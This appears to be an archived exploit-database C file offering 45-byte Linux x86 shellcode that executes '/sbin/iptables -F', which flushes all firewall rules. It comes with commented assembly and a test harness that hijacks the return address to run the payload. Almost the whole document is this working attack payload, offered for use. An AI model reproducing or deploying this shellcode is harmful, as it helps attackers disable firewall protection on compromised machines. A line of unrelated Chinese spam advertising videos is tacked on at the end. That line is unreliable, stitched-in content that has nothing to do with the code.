/* * 06/03/2003 * * ( 45 bytes ) to flush iptables. * * _execve(/sbin/iptables -F) by UnboundeD * greetz to s0t4ipv6. * */ char shellcode[] = "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x66\x68\x2d\x46" // pushw $0x462d "\x89\xe6" // movl %esp,%esi "\x52" // pushl %edx "\x68\x62\x6c\x65\x73" // pushl $0x73656c62 "\x68\x69\x70\x74\x61" // pushl $0x61747069 "\x89\xe7" // movl %esp,%edi "\x68\x62\x69\x6e\x2f" // pushl $0x2f6e6962 "\x68\x2f\x2f\x2f\x73" // pushl $0x732f2f2f "\x89\xe3" // movl %esp,%ebx "\x52" // pushl %edx "\x56" // pushl %esi "\x57" // pushl %edi "\x89\xe1" // movl %esp,%ecx "\x31\xc0" // xorl %eax,%eax "\xb0\x0b" // movb $0xb,%al "\xcd\x80" // int $0x80 ; main() { int *ret; ret=(int *)&ret +2; printf("Shellcode lenght=%d\n",strlen(shellcode)); (*ret) = (int)shellcode; } // milw0rm.com [2004-09-26]

这里只有精品视频